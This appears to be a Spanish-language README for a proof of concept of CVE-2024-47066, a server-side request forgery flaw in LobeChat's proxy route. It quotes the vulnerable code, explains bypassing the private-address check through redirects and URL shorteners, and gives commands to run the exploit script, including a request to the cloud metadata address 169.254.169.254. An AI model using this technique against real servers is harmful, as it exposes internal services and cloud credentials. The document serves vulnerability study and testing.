
Prueba de concepto para CVE-2024-47066
★ CVE-2024-47066 PoC de SSRF de LobeChat ★
CVE-2024-47066 : Lobe Chat es un framework de chat de inteligencia artificial de código abierto. Antes de la versión 1.19.13, la protección contra server-side request forgery implementada en src/app/api/proxy/route.ts no consideraba las redirecciones y podía ser omitida cuando un atacante proporcionaba una URL maliciosa externa que redirige a recursos internos como una red privada o una dirección de loopback. La versión 1.19.13 contiene una corrección mejorada para este problema.
Reportero: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(Externo) LodeChat --> ATAQUE SSRF --> (Interno) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
A partir de la línea 26, no hay ninguna comprobación que determine la respuesta de redirección. Por lo tanto, al utilizar un acortador de URL, se puede omitir fácilmente la función "isPrivate()".
Realizar una solicitud a http://169.254.169.254
Este repositorio no pretende ser un exploit de SSRF para CVE-2024-47066. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.